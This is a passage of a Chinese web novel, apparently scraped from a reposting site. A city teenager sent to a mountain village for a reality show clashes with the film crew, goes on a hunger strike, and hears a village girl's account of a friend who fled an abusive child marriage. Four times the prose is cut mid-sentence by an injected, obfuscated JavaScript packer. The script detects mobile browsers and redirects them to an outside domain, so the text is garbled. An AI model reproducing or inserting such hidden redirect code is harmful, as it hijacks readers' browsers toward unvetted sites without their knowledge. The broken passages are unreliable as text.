这熟悉的声音让许思睿愣了一下,回头一看,身后祝婴宁的座位空了,原本该坐在座位上的人凭空闪现到了讲台上,敢情她还是个早读领读。 他觉得有点好笑,摇摇头睡下了。 “许思睿。” 还没找到舒服的姿势,就被人喊了起来,他火大地抬起头,瞪向讲台上的祝婴宁。 她一点都没被他吓唬到,捧着课本,一脸公事公办的态度:“请你翻开语文课本第17页,别让全班同学浪费时间等你。” “?” 许思睿简直想吐血,“我又没带课本,你不是都看到了吗?” “你课桌下有我弟的课本。”她提醒道。 许思睿往桌肚下一摸,见鬼,居然还真有一沓课本。 全班同学都看着他,摄像机也对着他,他大可以继续倒头就睡,但这种情况下能睡踏实的绝对是神人,他自认还达不到这种境界,只好摸出语文课本,随便翻了一页,跟随班上其他人早读的节奏敷衍地做口型,假装自己也在早读。 早读在许思睿的印象中一向是有气无力的,只有小学一二年级的学生有热情大声朗读,但这个班也不知道怎么回事,每个人都像打了鸡血似的,读得格外大声,尤其是他身边的小胖墩,挺直腰背,目视前方,喊得喉咙就要扯出来了,将他的耳膜震得生疼。 好不容易熬到早读结束,许思睿感觉自己整个脑瓜子都嗡嗡的。 第一节课是英语课,英语老师是个四十多岁的女人,气质严肃,鼻梁上架一副厚厚的眼镜,嘴角镌刻着两道清晰的法令纹。 “Classbegin.”她说。 “Standup!”身后再次传来祝婴宁激情嘹亮的声音。 “……” 许思睿跟着班上其他人站了起来,有气无力地问了好,心想祝婴宁除了早读领读和班长外该不会还兼任了别的班干部吧。 然后就像是为了验证他的猜想,接下来这一天,他见证了人类身兼数职的极限。 物理老师让物理科代表起来发下试卷时,祝婴宁站了起来。 数学老师让数学科代表帮忙整理作业时,祝婴宁站了起来。 语文老师让语文科代表上台朗读范文时,祝婴宁站了起来。 …… 一整天的课体验下来,许思睿忍不住在心里默默数了数,发现除了文艺委员和体育委员她没有担任,其他班干部职位全都落在了她身上。 这种对人力的高效压榨不仅体现在学生上,连老师也没能幸免。 上午给他们上过课的严肃古板的英语老师,下午竟出现在了数学课堂上。身为班主任的语文老师同时还教音乐美术体育。政治、地理、历史全由一个文科老师担任,物理、生物和化学也同理。满打满算十一个科目,居然只有四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543180|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个老师,而且兼任初一至初三所有班级。 这么一丁点儿的老师连轴转,教学质量可想而知。 一天的课上下来,许思睿倒没怎么打瞌睡,因为实在太好笑了,他感觉自己免费看了一天的喜剧。 英语老师念英语时的方言口音很好笑,生物老师错把线粒体认成叶绿体很好笑,地理老师口误将甘肃省说成甘肃市也好笑。 当然,最好笑的还是下午的音乐课。 班主任扛来一架电子琴,铺垫了半天,说:“同学们,今天我们要学一首非常优美、典雅、有韵味的华语流行音乐。”随后低头弹出了《让我们荡起双桨》的旋律。 2010年初,华语乐坛的巅峰虽已消退,但余韵犹存,大街小巷人人都会唱几首周杰伦和林俊杰,《仙剑三》的配乐随电视剧火遍大江南北,广场舞阿姨们最爱放的歌是凤凰传奇的《最炫民族风》,KTV开场曲必有萧敬腾的《王妃》。网络流行音乐里,许嵩早在09年就凭专辑《自定义》杀出了一片天,要到10年下半年,非主流三巨头里的徐良和汪苏泷才会展露头角。 这是最峥嵘的年岁。你可以无知,但不可以土——对许思睿这样追逐潮流的青春期城市小孩来说,土就是原罪。 听到班主任将《让我们荡起双桨》这种上世纪的儿歌归类到华语流行音乐里时,他没忍住笑出了声。 淡淡的嗤笑夹在钢琴旋律里,成功吸引了老师的注意。 他停下弹奏的手指,推了推眼镜,略显尴尬地问他:“许思睿同学,你有什么建议吗?” 无数双眼睛随之望向他,他敲着二郎腿,靠在后桌的桌子上,左手自然下垂,右手食指漫不经心地扣着桌面,舌尖顶了顶口腔,摇头笑道:“没。” 简短干脆的一个字。 可所有人都微妙地察觉出了他姿态和语气下的嘲弄,像豌豆公主数十床被褥下的那颗豆子,没有人能清晰指出它的存在,但所有人都感受到了它带来的膈应和不适。 一点一滴的沉默中流淌着的是山里孩子无以言表的难堪。 “好,那我们继续唱歌吧。” 班主任又推了推眼镜,拍拍手,拉回了全班同学的注意力。 ** 音乐课是周一最后一节课,放学铃一响,学生们蜂拥而出,许思睿撑着拐杖正想站起来,就见班主任朝他走了过来,敲敲他的课桌,低声说:“许思睿,你来我办公室一趟。” 这是想兴师问罪? 他扬了扬眉,无所谓地跟了过去。 摄像师被班主任拦在了办公室外,他说他想和许思睿单独谈谈。办公室的门半掩上,许思睿斜靠在办公桌角,双手抱胸,冷眼瞧着他埋头在抽屉里翻来翻去,最后翻出了一叠黄色封皮的练习簿和一支铅笔。 “我看你没带本子和笔来上课,这些你拿去,凑合着先用。”他把纸笔递给他,关心地询问,“山里的生活怎么样,很不习惯吧?刚来的时候都是这样的,我刚来也很不习惯。” 许思睿没说话,也没伸手去接。循循善诱尊尊教诲的老师他也遇见过,但他不吃这套。 班主任只好收回手,默默思索该如何撬开他的心。还没想出个所以然,就见许思睿忽然直愣愣盯着一个方向发呆,眼神都看直了。他顺着他的目光瞟过去,发现吸引他注意力的是办公桌上那台老旧的座机。 8. 扭打 “……这台座机可以打电话吗?” “可以啊。”班主任不明所以。 他并未被摄制组告知不能协助许思睿联系外界,看到他盯着座机两眼发光,活像看到肉骨头的狗,还以为这是一个绝佳的和学生破冰的契机,于是主动道:“你想打电话?” 许思睿壮起胆子点点头。 班主任傻呵呵一笑:“那你打吧。” 一切都顺利得不可思议,拿起话筒时,许思睿的手才慢半拍开始颤抖,不是害怕,而是太兴奋了。这不就是踏破铁鞋无觅处,得来全不费工夫? 他默默做了个深呼吸,眼睛盯着在门外等待的摄影师们,手指一顿一顿按出周天澜的号码,把听筒小心翼翼凑到耳朵边,仔细听着话筒里的铃声。 之所以选择打给周天澜,是因为他妈更容易心软,他们家是很传统的严父慈母模式,只要把自己受伤的事添油加醋说得夸张点,不愁她不心疼。她一心疼了,多半就会开始动摇,一动摇,离开的事就好说了。 许思睿构思得很美好,尽管人还在山区里,心却已经飞回城市,在城市的高楼大厦里恣肆畅游了。 “喂?” 电话响了将近一分钟才被人接通,当话筒里传来周天澜熟悉的嗓音时,许思睿差点没忍住热泪盈眶。 “妈,是我!”他压低声音,急切地催促,“我好不容易才找到机会打电话给你,你听我说,赶紧派辆车来接我回家,这里我一秒钟都待不下去了,什么都没有,出行要么靠步行,要么靠牛车,吃也吃不好,睡也睡不好,教育资源落后,上一学期课我成绩铁定就废了,而且我还不小心崴了脚,现在都得拄着拐杖走路……我还得去喂猪……” 他深谙家长的关注点——成绩,不仅卖惨,还故意强调了一下学习的事,听得一旁的班主任如坐针毡。 然而,对面响起的却不是周天澜的心疼感言,而是许正康的哼笑:“看来你这几天的生活还挺丰富啊。” “……” 完了。 如同绝大多数东亚父子那样,许思睿和许正康的交流大多数时候仅限于询问“我妈在哪”,少部分则体现在逃课后的争吵和棍棒上。他对他爸谈不上多讨厌,也谈不上喜欢,他们的关系与其说是父子,不如说是警察和罪犯。 警察讲求公事公办,自然不会对罪犯挥洒多余的同情。许思睿听到他爸在电话那头一派悠然地说:“吃不好?好事啊!忆苦思甜。睡不好?好事啊!锻炼你的入睡能力。喂猪——亲近小动物,培养责任心。崴脚,让你学会珍惜身体。” “……”他咬咬牙,知道对他爸使苦肉计没用,干脆甩出杀手锏,“学习你不管了?” “放心吧,你是我儿子,我相信你的智商。以你的能力,就算在逆境里,你也一定能自学成才的。” “我没有智商,也没有能力,我是蠢材一个。”许思睿向来奉行能屈能伸,立刻自我贬低道,“在这待一学期,我连高中都考不上。” 熟料许正康依然气定神闲,大手一挥,豪迈道:“你爸有钱,考不上,我就塞钱送你去读私立。” “我靠。”听这意思,许正康似乎是打定主意要把他丢在这一学期了,许思睿当即炸毛了,握着话筒的手青筋暴起,恨不得将它掐碎,嗓门也高了起来,“你把电话给我妈,我不和你扯。” “怎么跟你老子说话呢?许思睿,我告诉你,求你妈也没用,只要你还没认识到自己的错误,我们就不可能去接你,你就待在那边乖乖接受改造吧,待满一学期再回来。” “操!我知道错了,我知道错了还不行吗?!你把电话给我妈!” “你知道个屁!”许正康也怒了。 摄像师被办公室内的吼声吸引了注意,推开门一看,就见许思睿握着个话筒在和对面的人争论,争得脸红脖子粗,声音都将近破音:“许正康,我到底是不是你儿子?我上辈子是拔你氧气管了还是杀你全家了,你至于这么折腾我?!你看我不爽干脆拿刀把我捅死算了,我出生时你怎么不干脆把我淹马桶里溺死呢?把我扔在这荒山野岭里算什么!” “喂!许思睿,你不能打电话。” 摄影师急忙跑过来制止。 许思睿本来就在气头上,一看摄影师竟然还想过来抢话筒,瞬间就崩溃了,几日来积累的疲倦、厌恶和委屈,通通如火山爆发般喷溅而出。他捂着话筒回身闪避,摄影师作势要抢,两人顺势扭打在了一起,或者说,是许思睿单方面薅住对方头发在打人。 “欸欸欸——有话好好说,有话好好说……” 班主任看懵了,上前想要分开他俩,但他一个文弱书生,不仅拉谁都拉不开,甚至还在一片混乱中生生挨了许思睿两拳,疼得他单腿蹦跳开,捂着肚子哎哟直叫。 “打起来了!快来人呐,办公室里打起来了!” 有学生发现了异常,扯着嗓子四处叫人,混乱很快波及到了整栋教学楼,还没回家的学生们争先恐后涌到办公室前,探长脖子,急着看清发生了什么事。 祝婴宁本来蹲在校门口,想等许思睿和班主任交流完一起回家,谁知一抬头,五楼竟围满了人。 她暗道不好,赶紧跳起来,像枚小炮弹般飞速射向楼梯。 许思睿打得正上头,耳畔忽然听到一道正义的暴喝:“君子动口不动手!” 不怪他出戏,在这么紧急的场合里,忽然窜进一句这么一本正经的古文,任谁都要先楞会神。而趁着他们愣神的功夫,祝婴宁左手拽住摄影师,右手拉住许思睿,手腕猛然发力,竟力大无穷地将他们扯开了。 许思睿被她扯得一趔趄,差点又崴到脚,好险他反应快,在重心将要压到伤脚上时巧妙地将其转到了正常的那只脚上。 被她这么一打岔,原本剑拔弩张的气氛瞬间冷掉不少。 架是打不起来了,但许思睿尤在气头上,打开她的手,没好气地吼:“你有病啊?!” 祝婴宁并未在意,她抬头看了眼墙壁上的挂钟,出人意料地说:“六点半了,我们得回家了,回去晚了,我阿妈会担心的。” 然后也不管其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543181|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟不跟得上自己的思路,拽着许思睿转身就走了。 ** 许思睿在绝食。 众人意识到这件事已经是第二天早上的事了。 昨天放学后他拒绝食用晚餐,剧组的人只当他又在闹少爷脾气,便由着他去了,谁知第二天早上,他既不愿意去上学,也不愿意从床上起来吃早餐,任凭刘桂芳劝得嘴角生沫,任凭杨吉软硬兼施,他也蜷在床角一动不动。 无奈,大家只好让祝婴宁自己先去上学,剧组的人留在家里,轮番上场劝他冷静。 有人晓之以情:“许思睿,我理解你的心情,我们刚来山里,也觉得特别难受特别不适应,城市生活多好哇,有电脑,有空调,有KFC,山里啥都没有,你不喜欢这里,我们完全能理解。但你要相信,山里人都很淳朴,只要你用心和他们交往,就会被他们的纯真打动,从而爱上这里。” 有人动之以理:“你爸妈不让你回家,不是恨你,也不是害你,是为了你好,你自己想想,你待在这是不是完全想不起网络游戏,你的网瘾是不是自动好了?” 听到这他倒是扯着嘴角冷冷一笑:“确实想不起网络游戏,脑子里光想着怎么死了。” “……” 一整天下来,摄制组用尽办法,也没能将他劝起来吃口东西。 这种情况延续到第三天的时候,杨吉有点慌了。 许思睿既不吃饭也不喝水,不吃饭好歹还能撑七天,不喝水,三天内就会出问题。想来硬的,强行给他灌点水喝,这小子却和一头倔驴似的,谁敢靠近他,他就发疯乱踢乱打,剧组里除了两位女性工作人员,其他人都挨过他的无影脚,有人连眉毛都被他薅下一缕。 杨吉意识到许思睿是想用这种方式逼他们送他回家。 头疼,头非常疼。 上一季的几位纨绔同样不服管教,但没人比他难管,大家挣扎两天,发现自己出不了山,便先后放弃了,只有他死活不肯屈服,不惜伤害自己的身体也要回家。 周三晚上,杨吉拉着祝婴宁,问她能不能想点办法让许思睿喝水吃饭。 她为难地摸摸脖子:“我跟他也不是很熟,他不听我的。” “你们是同龄人,他对你肯定比较没防备,你想想办法呗?就当杨叔拜托你了。” 祝婴宁确实也不想眼睁睁看着许思睿饿死在她们家,虽然他的性格并不讨喜,来到她们这以后,不是嫌弃贬低她们,就是颐指气使,但是……但是…… 她本来想用一些许思睿的优点来说服自己,然而“但是”了半天,也没“但是”出个所以然,只能凭借良心勉强点点头:“好吧,我试试。” 晚上临睡前,她盘坐在床上,瞧了眼旁边许思睿的背影——两天一夜没吃没喝,他看起来憔悴不少,躺在床上,连呼吸起伏都比别人弱,乍一看就像一具直挺挺的僵尸——清清嗓子,故意对刘桂芳说:“晚饭吃剩下的馒头我放在后边厨房的铁锅里了,明早再蒸来吃。” 刘桂芳不解其意,随口道:“你安排就好。” 9. 夜半行踪 睡下以后,祝婴宁特意留了个心眼,每当察觉自己昏昏沉沉即将睡去,就会在自己胳膊上拧一把,强迫自己醒来。 撑到十一点多,全家人都睡熟了,许思睿那个角落才终于传来细微响动,她闭上眼睛,假装自己也睡熟了,直到身边人轻轻翻起身,从床上滑下去,蹑手蹑脚走出房子,她才随之爬起来,穿上拖鞋,悄然跟了出去。 许思睿会起来偷吃完全是可预见的,祝婴宁并不认为他这种崴脚都嫌疼的娇气性子能够忍受挨饿的痛苦。 饥饿是一种烧灼感。口腔燃烧,舌头燃烧,食道燃烧,肠胃也在燃烧。烈火侵蚀全身,摧枯拉朽,将内脏烧成干瘪的一团。饿到麻木的时候,人甚至感觉不到饿,吃下东西以后也会因为承不了食物的刺激当即吐出来。 而许思睿,祝婴宁推测他正处于饿和饿到麻木的过渡阶段,这个时候对食物的渴望是最强烈的,给他一头牛,他能连牛骨头都啃干净。 像她猜测的那样,他果然鬼鬼祟祟地摸黑溜进厨房,先从水缸里舀起一盆水,埋头猛喝几口,然后一边抹嘴一边迫不及待揭开锅盖,从里面抓出两个冷掉的大白馒头,两眼闪光,狼吞虎咽往嘴里塞,架势像在给猪大肠灌水。 祝婴宁站在厨房门口犹豫了一会,不知道要不要进去。她已经完成了让许思睿吃饭的任务——跟过来只是想确定这一点。这时候再进去,除了让他难堪,好像别无作用。她并不想让任何人难堪,即使对方是许思睿。 想了又想,她还是朝后退了退,打算装作什么都不知道,直接回去睡觉。 但故事的走向总是事与愿违。 她后退的时候,腿不小心抬得太高,足弓和廉价塑胶拖鞋之间形成了很大间隙,脚落地那一秒,间隙里的空气被挤压,竟然发出了响亮的“卟”的一声。 卟~~~ 声音百转千回。 糟透了。 她尴尬地咬住下唇,看到厨房里的许思睿惊弓之鸟般缩起肩膀,抬眼向她看来,一双雪亮的桃花眼里除了悚然和惊惶,还有盈盈的一闪而过的…… 泪光? 祝婴宁呆住了。 她意识到许思睿一边吃一边在哭。 这个发现比单纯发现他偷吃还要令人窘迫,窥探他人的脆弱和窘境在她看来远非君子所为,几乎是发现他在哭的一瞬间,她心里就产生了浓郁的负罪感。 身为当事人的许思睿比她还尴尬,嘴里含着半截馒头,继续吃也不是,吐掉也不是,湿着眼眶,红着鼻头,可怜巴巴地看着她,整个大脑都宕机了。 没给他们太多干巴巴对视的时间,厨房外突兀地响起了第三个人的脚步声。 她吓了一大跳,赶紧闪身躲进厨房,探出半个脑袋往外一看,发现朝这里走来的竟然是一个手持摄像头的摄影师! 怎么回事?!剧组的人也觉得许思睿会起来偷吃,想要趁机拍下他的惨状吗? 祝婴宁有一套自己的道德评判标准,许思睿任性作闹被摄像机拍下来,她觉得他活该——明明可以在镜头前表现得礼貌点,他非要暴露本性,对人颐指气使,那也怪不得摄像机忠实记录。可眼下这种情况显然违背了他的个人意愿,他的脆弱无助不应该被剧组当成综艺素材,放大千百倍放送到电视机上,成为大家茶余饭后的笑料或谈资。 祝婴宁很快有了定夺。 她回头看向许思睿——这人完全没了前几天的嚣张气焰,趴在她背后紧张地瞄着摄影师,脸上全是茫然无助。她一把抓住他的手,低声道:“跟我来。”说完拽着他跑向厨房的窗户,将窗户用力推开,自己率先翻了出去,示意他也翻出来。 他左右手各自抓着一个馒头,腾不出手去翻窗台,焦急地跺了跺脚,干脆把剩下的馒头一个劲儿全塞嘴里,把自己的脸颊塞得像仓鼠一样鼓起来,才手忙脚乱去翻窗。 “许思睿——!你果然在偷吃!” 翻到一半,摄影师的声音骤然从厨房门口传来。 听声音不难听出来人是上学那天被他打了一顿的摄影师,这明显是公报私仇来了。许思睿气得差点吐血,有心回去找他算账,但他现在脸上挂着泪,嘴里塞满馒头,怎么看怎么凄凉。 许思睿是一个允许自己跋扈,但绝不允许自己看起来可怜悲惨的人。但与此同时,他又是一个锱铢必较的人。正纠结着,不知究竟该让哪种思想占上风,胳膊就被祝婴宁扯了一把。 “走!”她替他下了决定。 奇怪的是,他明明不爱听别人安排,然而此时此刻,祝婴宁的话却奇妙地显示出一种信服力,让人觉得跟随她的选择才是正确和靠谱的。他被她一拽就拽下去了,趿着拖鞋跟在她身后。 深夜,荒山,破落村庄外,两个奔跑的小孩。 山路不好走,崎岖,弯折,他的脚踝也没好全,失去了拐杖的辅助,跑在山路上就像飘在水面上一样,时不时就会因为下跳而失重,时不时有可能一脚踏空。但奔跑的过程带来一种叛逃的轻快感,这是这么多天以来,许思睿第一次真正意义上感觉到愉悦。 耳畔风声呼啸,卷起自由的味道。 他跟着祝婴宁一起跑出村庄,跑向村后的那座山,最后气喘吁吁停在一个隐蔽的洞穴前。 洞穴前长满山乌龟,祝婴宁伸手拂开它们,招呼许思睿进来。 他弯腰低头,半蹲着爬了进去。 洞穴里并不大,四五平米的小空间,一眼便可收尽眼底。她放下洞口的山乌龟,膝行到角落里,窸窸窣窣翻找了一会儿,找出一盒火柴和一支蜡烛。火柴划亮,蜡烛燃烧,照亮这方狭小空间。 许思睿看到自己的影子如巨兽般攀映在洞穴内壁上,只要稍微移动,影子就像活过来似的,在穴壁上摇摇晃晃。 “待在这里不会有人发现的。”她喘着气说,“这个地方只有我知道。” 说着一扭头,看到许思睿嘴里依然塞得鼓鼓的,她指了指他的脸颊:“你不打算咽下吗?” 许思睿这才恍然发觉自己嘴里塞着馒头跑了一路,这模样实在太埋汰了,换成几天前还在城里时,他绝对无法接受自己这副模样被人看见,但想到对面是祝婴宁,大家一样是男的,他就觉得心理负担轻了许多,遮住嘴巴,腮帮子嚼嚼嚼,当着她的面若无其事咽下了。 山洞里一时陷入了沉默。 他们毕竟才认识几天而已,交流也不多,要不是剧组忽然闹这么一出,他们远没有熟到可以参观对方秘密空间的程度,因此许思睿坐在这个不属于他的山洞里,就显得有些突兀。 冷场了许久,祝婴宁觉得再这么冷场下去不太好,于是没话找话道:“你还好吧?” 得,哪壶不开提哪壶。 许思睿对她挑话题的能力无语了,翻了个白眼,让她自行体会其中含义。 她并没有接收到他的抗拒,自顾自说:“城市里真的很好吗?你就那么想回去?” “好不好也就那样吧。”他烦躁地拨拨额前碎发,不客气地回答,“反正比你们这破地方好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543182|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦。”她点了点头。 哦? 哦是什么意思?许思睿瞄了她一眼,发现面对他的贬损,她竟没有表现得很生气。 气氛又冷了下来。 他的视线在山洞里走了一圈,最后落在角落一个铁盒子上。刚刚祝婴宁就是从铁盒子里找出了火柴和蜡烛,他身高高,视野也高,眼尖儿地发现盒子里除了火柴和蜡烛,还有一叠信封。 “你们这里居然还能收信啊。”他同样没话找话地开口。 祝婴宁随着他的视线看向了铁盒,抿抿唇角,说:“嗯,EMS能送到。” “是你爸爸寄过来的?” 他听剧组的人讲过,说祝婴宁的爸爸在外头城市打工,逢年过节才能回家。 她摇了摇头:“不是他,是……我姐姐。” “啊?你还有个在外头的姐?怎么完全没听任何人说起过?” 谈起这个话题,她显得有些局促,拿手指抠着自己塑胶拖鞋上的装饰物,闷声回答:“不是亲姐啦,是同个村的姐姐,没有血缘关系的。” 许思睿忍不住用揶揄的眼神扫了扫她。 祝婴宁不明所以,看着信封出了会神,忽然问他:“你是不是懂很多和电脑有关的东西?” “算是吧,怎么了?” 她一下来了精神,倾身上前,从铁盒里找出一个信封,又从信封里抽出一张信纸,指着上面一行数字眼巴巴问:“那你知道这个是什么意思吗?” 许思睿低头一瞧:“Q|Q号呗,当然知道。” “Q|Q号是什么?”她有点不好意思地问。 他本来下意识想说“你怎么这么土”,但一想到她上的那个学校,连跑道都是50米的,更别说计算机了,只好咽下嘲讽,费力解释道:“呃,就是……怎么说呢,Q|Q就是一个网络社交平台,每个人注册后都有一串独一无二的Q|Q号,如果你知道一个人的Q|Q号,就能加她好友,这样就算远隔千里,你们也可以通过网络聊天。” “真的啊?!也就是说我还能继续和她保持联系了?”她眼睛一下就亮了,抓住他的手臂,活像听到北京申奥成功或者东方红一号成功发射。 许思睿把手臂抽出来,眼神愈发显得促狭:“你跟她什么交情啊,至于这么激动?” 祝婴宁依然对他的调侃不明所以,开心地说:“她是我最好的朋友。” “是吗?” 他看了眼信封上的日期,2008年4月2日,这都是两年前的信了,又看了眼信件内容,只有很短的一句话。 -宁宁,我建了Q|Q号,xxxxxxxxx,以后咱们就用这个联系吧。 落款就一个字:娟。 他领悟到什么,不由嗤笑:“她好像没把你当朋友啊,这是她写给你的最后一封信吧,你们多久没联系了?两年?” 祝婴宁愣了愣,反应过来后,连忙摇头为她开脱:“不是的,她是有苦衷的。” 许思睿觉得很好笑,祝婴宁一看就是那种很单纯很容易信任他人的类型,但他不是,他看人看事总习惯往坏处想:“苦衷?能有什么苦衷?她是你们村的,肯定知道你们这啥条件,要电脑没电脑,要网络没网络,压根没条件上网,就这她还丢了个Q|Q号给你,这和直接搞失联有什么区别?你真是傻的你。” “……你!”祝婴宁被他说急眼儿了,脸色涨红,急道,“你根本什么都不懂,不许你这样说她,她真的是有苦衷的,她……她是从村里逃出去的。” 10. 最后一封信 “逃出去的?” 这个表述引起了许思睿的兴趣。他还以为生活在这的人都随遇而安,没想到有人和他一样执着于出逃。 祝婴宁和祝娟的故事,说长不长,说短不短,说烂俗也烂俗,说深刻也深刻,像《故事会》里某篇供人消遣的文章,读者读完心生垂怜,但几秒后便会忘却,只有身为当事人的她们被困在这个故事里。 祝娟大了祝婴宁五岁,从小时候开始,祝婴宁就很爱跟在她屁股后,和她一起玩耍。但有个问题祝婴宁一直想不明白,她不懂祝娟的妈妈为何总是待在房间里不出来,偶尔几次去祝娟家做客,能看到她妈妈被人用锁链锁在角落里,头发长得遮住眉眼,脸上脏兮兮黄蜡蜡,总是对着一个绣花枕头傻笑,整个人看起来痴痴傻傻。 “祝娟妈是个傻子。”村里人人都这么说。 只有祝娟悄悄告诉她:“我妈不是傻子,她是个大学生。” 大学生这种稀奇的词汇,对祝婴宁来说充满了知识的神圣光辉,她好奇地问祝娟:“你怎么知道的?” “我爸打我妈的时候自己说出来的,他说,‘俺花了那么大一笔价钱讨你这个女大学生回家,结果你这臭婆娘,只会下母蛋,不会下公蛋,老子的钱全都打了水漂’……” 下母蛋不会下公蛋的意思是,祝娟家里只有女儿没有儿子。 祝娟是家里的长女,她下头有六个妹妹。 七姐妹刚好凑齐七个葫芦娃,但祝娟并不觉得这好笑,因为她知道自己还有好几个妹妹没被计入其中。她们不是七姐妹,而是十姐妹,可惜有三个“消失”了,像雪花落入熔炉里,被火焰舔得干干净净,再没有人提起。 其中一个生下来当天就被祝娟爷爷抱走了,爷爷最后是空手回来的,只说了一句话:“河神保佑她。”另一个刚学会说话就被卖到了隔壁村,还有一个,因为智商有点问题,四岁那年自个儿失足摔到山坡下,村里人找到时,她被山上野兽吃得只剩半边身体——当然,这些都是口口相传的“据说”。 真相如何,祝娟不知道,祝婴宁更不知道。 祝婴宁只知道,祝娟总是很辛苦。身为家里的长女,她担负起了所有家务,不仅要伺候爹妈,照顾一群嗷嗷待哺不谙世事的妹妹,还需要时不时忍受爷爷奶奶的挤兑和挑刺。她才念到小学四年级就辍学了,她最常对祝婴宁说的一句话是:“宁宁,你一定得坚持读书。” 这样枯燥平淡,一眼望得到尽头的日子本该永远持续下去,直到祝婴宁十一岁,祝娟十六岁这年,祝娟爸爸给她说了一门亲事。 十六岁,连结婚证都领不了的年纪,祝娟就这样稀里糊涂地被爸爸嫁去了邻村,摆几张酒席,匆匆吃顿饭,被人群推搡着送入洞房,这就算成为夫妻了。至于结婚证?没有人在意。大家都说到了法定婚龄再去扯一张就行了。 半年之后有天晚上,祝娟偷偷跑来找祝婴宁。她们牵着手跑到秘密山洞里,祝婴宁擦亮蜡烛,回头一看,惊讶地发现祝娟的脸肿了。 “宁宁,我不想活了。”她说完便嚎啕大哭起来。 “他打你?” “打!有事没事就打一顿,没理由也要创造理由打一顿。我叫他吃饭,他嫌我吵着他睡觉,把我打了一顿,我不叫他吃饭,他嫌我眼里没他这个老爷们,又把我打了一顿!宁宁啊,你看我的牙。” 她张开嘴,露出狼藉的口腔。她像一只受伤的河马,折断的牙齿,发红的牙龈,由于疼痛而不断沁出的生理性唾液,共同构成了河马哀哀的恸哭。她掀开衣裳。青青紫紫的淤青斑驳交错在她黄褐色的皮肤上,她不是被人撕裂的绢帛——绢帛白皙华贵,她的命却远没有那么贵——她是沟壑交错的黄土高坡,沙痕便是她的伤痕。 祝婴宁咬着牙,浑身颤抖:“我去打他一顿!” 她拥有一种奇妙的正义感,祝娟闻言吃了一惊,急忙扯住她的胳膊,说:“别!千万别!他家亲戚多,你惹了他,以后两个村子就算结下梁子了,到时你里外不是人!” 祝娟说:“我忍不下去了,再和他待在一起,我会被活活打死的。趁着现在还没小孩,宁宁,我想走,我得走,我必须离开这里!” 逃离于她们来说都太过陌生,可事情迫在眉睫,再容不得商榷。她来找祝婴宁就是做最后一次告别,今晚她便打算离开。 事情发展得太快,祝婴宁始终处于头脑失重的状态,来不及品味到悲伤,她只能捕捉头脑中仅存的几丝理智,对她说:“我拿钱给你,你要走不能没有钱。” “不用!你哪有钱?”祝娟翻出自己的口袋给她看,“你瞧,我趁那老不死的在睡觉,把他藏的私房钱全偷了,放心吧,我有钱。” “不行,不行……去大城市需要很多钱,我再拿些给你。” 城市在祝婴宁的印象里是一座座钢铁森林,祝娟要从一片森林逃离到另一片森林,一片她们完全陌生的领域,她无能为力,只能凭本能在她的行囊里塞满足够的资金。 “可你哪里有钱?”祝娟问她。 “你别管了,乖乖待在这里,我回屋里拿钱给你。” 祝婴宁打算把家里这个月的生活费全凑出来给祝娟,可是当她揣着一叠纸巾跑回山洞,祝娟已经离开了。 这是她们最后一次见面。 三个月后,祝婴宁收到了祝娟寄来的信,信里她说自己一切都好。 -城市很大,和农村完全不一样,城里的人有坏人,也有好人。我运气不好,遇到了坏人,把我的钱都骗光了,但我运气也好,遇到了好人,愿意收留我,给我工作。我现在在一家餐馆给人当服务生,宁宁,思念你。爱你的娟。 后来每过两三个月,祝婴宁都会收到一封祝娟的来信,直到2008年4月2日,祝娟向她告知了自己的□□号。 从此以后,天大地大,了无音讯。 ** 故事结束,许思睿陷入了沉默,好长一段时间都不知道该说些什么。自己半夜起来找东西吃以及哭鼻子被目睹的尴尬已经被这个故事冲淡不少,他忍不住问:“为什么告诉我这些?我们还不熟吧,你不怕我把你这个朋友的行踪泄露出去?” “不怕呀。” 他以为祝婴宁会说“我相信你”之类的话,结果她摸出铁盒里所有信封,把封面展示给他看,“你瞧,我把她的来信地址全部涂黑了,我绝对不会让任何人找到她的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543183|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许思睿撇撇嘴:“你能记得她的地址?” 